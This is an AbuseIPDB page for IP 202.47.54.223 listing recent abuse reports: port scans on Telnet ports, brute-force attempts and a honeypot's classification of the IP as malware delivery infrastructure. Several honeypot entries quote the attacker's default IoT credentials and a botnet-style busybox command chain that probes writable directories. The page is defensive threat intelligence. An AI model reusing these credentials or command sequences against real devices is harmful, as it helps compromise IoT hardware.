JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 202.47.54.223

202.47.54.223 was found in our database!

This IP was reported 42 times. Confidence of Abuse is 96%: ?

96%

ISP	Cyber Internet Services Pakistan
Usage Type	Fixed Line ISP
ASN	AS9541
Domain Name	cyber.net.pk
Country	🇵🇰 Pakistan
City	Karachi, Sindh

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 202.47.54.223

Whois 202.47.54.223

IP Abuse Reports for 202.47.54.223:

This IP address has been reported a total of 42 times from 24 distinct sources. 202.47.54.223 was first reported on January 26th 2025, and the most recent report was 1 day ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇷🇸 Smel	2026-10-22 02:45:09 (1 day ago)	MH/MP Probe, Scan, Hack -	Port Scan Hacking
🇩🇪 nxvr	2026-10-21 12:51:36 (1 day ago)	Telnet Honeypot caught unauthorized access / brute-force. Credentials used: user='root', password='' ... show more Telnet Honeypot caught unauthorized access / brute-force. Credentials used: user='root', password=''. Commands attempted: 'Zte521', 'start', 'enable', 'config terminal', 'system', 'linuxshell', 'su', 'shell', 'sh', '>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\x49\x57\x46\x58\x44\x46'' (+2 more) show less	Brute-Force IoT Targeted
🇩🇪 nxvr	2026-10-21 12:21:31 (1 day ago)	Telnet Honeypot caught unauthorized access / brute-force. Credentials used: user='root', password='' ... show more Telnet Honeypot caught unauthorized access / brute-force. Credentials used: user='root', password=''. Commands attempted: 'gpon', 'start', 'enable', 'config terminal', 'system', 'linuxshell', 'su', 'shell', 'sh', '>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\x49\x57\x46\x58\x44\x46'' (+2 more) show less	Brute-Force IoT Targeted
🇩🇪 nxvr	2026-10-21 10:21:05 (1 day ago)	Telnet Honeypot caught unauthorized access / brute-force. Credentials used: user='root', password='' ... show more Telnet Honeypot caught unauthorized access / brute-force. Credentials used: user='root', password=''. Commands attempted: 'svgodie', 'start', 'enable', 'config terminal', 'system', 'linuxshell', 'su', 'shell', 'sh', '>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\x49\x57\x46\x58\x44\x46'' (+2 more) show less	Brute-Force IoT Targeted
🇩🇪 nxvr	2026-10-21 08:35:53 (2 days ago)	Telnet Honeypot caught unauthorized access / brute-force. Credentials used: user='666666', password= ... show more Telnet Honeypot caught unauthorized access / brute-force. Credentials used: user='666666', password=''. Commands attempted: '666666', 'start', 'enable', 'config terminal', 'system', 'linuxshell', 'su', 'shell', 'sh', '>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\x49\x57\x46\x58\x44\x46'' (+2 more) show less	Brute-Force IoT Targeted
🇩🇪 nxvr	2026-10-21 07:35:46 (2 days ago)	Telnet Honeypot caught unauthorized access / brute-force. Credentials used: user='root', password='' ... show more Telnet Honeypot caught unauthorized access / brute-force. Credentials used: user='root', password=''. Commands attempted: 'zyad1234', 'start', 'enable', 'config terminal', 'system', 'linuxshell', 'su', 'shell', 'sh', '>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\x49\x57\x46\x58\x44\x46'' (+2 more) show less	Brute-Force IoT Targeted
🇩🇪 nxvr	2026-10-21 06:35:41 (2 days ago)	Telnet Honeypot caught unauthorized access / brute-force. Credentials used: user='admin', password=' ... show more Telnet Honeypot caught unauthorized access / brute-force. Credentials used: user='admin', password=''. Commands attempted: '1234567890', 'start', 'enable', 'config terminal', 'system', 'linuxshell', 'su', 'shell', 'sh', '>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\x49\x57\x46\x58\x44\x46'' (+2 more) show less	Brute-Force IoT Targeted
🇦🇹 begou.dev	2026-10-21 05:19:31 (2 days ago)	[Threat Intelligence] Port Scanning and/or Unauthorized access -> TCP/23	Port Scan
🇺🇸 RAP	2026-10-20 22:13:00 (2 days ago)	2026-10-20 22:13:00 UTC Unauthorized activity to TCP port 23. Telnet	Port Scan
🇺🇸 RAP	2026-10-19 08:48:33 (4 days ago)	2026-10-19 08:48:33 UTC Unauthorized activity to TCP port 23. Telnet	Port Scan
🇺🇸 RAP	2026-10-19 03:44:03 (4 days ago)	2026-10-19 03:44:03 UTC Unauthorized activity to TCP port 2323. Telnet	Port Scan
🇺🇸 xmission.com	2026-10-18 16:39:25 (4 days ago)	Blocked by UFW (TCP on 2323) Source port: 63098 TTL: 46 Packet length: 40 TOS: 0x00 This report (fo ... show more Blocked by UFW (TCP on 2323) Source port: 63098 TTL: 46 Packet length: 40 TOS: 0x00 This report (for 202.47.54.223) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan
🇺🇸 LSPCCU	2026-10-17 17:21:34 (5 days ago)	TSEC Honeypot Network report. Threat score: 98/100. Categories: Port Scan, Hacking, Brute-Force, Exp ... show more TSEC Honeypot Network report. Threat score: 98/100. Categories: Port Scan, Hacking, Brute-Force, Exploited Host, Web App Attack, SSH. Honeypot: cowrie. Context: 202.47.54.223 classified as malware delivery infrastructure dropping payloads on compromised hosts (high confidence). show less	Port Scan Hacking Brute-Force Exploited Host Web App Attack SSH
🇺🇸 NetVexor	2026-10-16 16:29:15 (6 days ago)	Attack source identified and submitted via NetVexor BGP Blackhole Network	Port Scan Hacking Brute-Force
🇫🇷 security.rdmc.fr	2026-10-15 13:28:28 (1 week ago)	Port Scan Attack proto:TCP src:38166 dst:23	Port Scan

Showing 1 to 15 of 42 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇸🇬 188.166.234.159

🇨🇳 180.113.57.12

🇳🇱 138.226.239.234

🇳🇱 77.91.71.91

🇭🇰 47.57.242.119

🇨🇴 181.204.27.85

🇮🇳 117.231.166.224

🇨🇦 85.217.149.13

🇮🇳 66.116.207.168

🇸🇬 45.78.201.248

🇬🇧 35.203.210.154

🇨🇳 1.24.16.76

🇳🇱 209.38.96.177

🇦🇲 176.32.193.16

🇭🇰 154.83.17.239

🇨🇿 143.244.58.247

🇰🇷 106.244.120.37

🇳🇱 45.148.10.5

🇺🇸 34.123.134.194

🇨🇳 1.24.16.10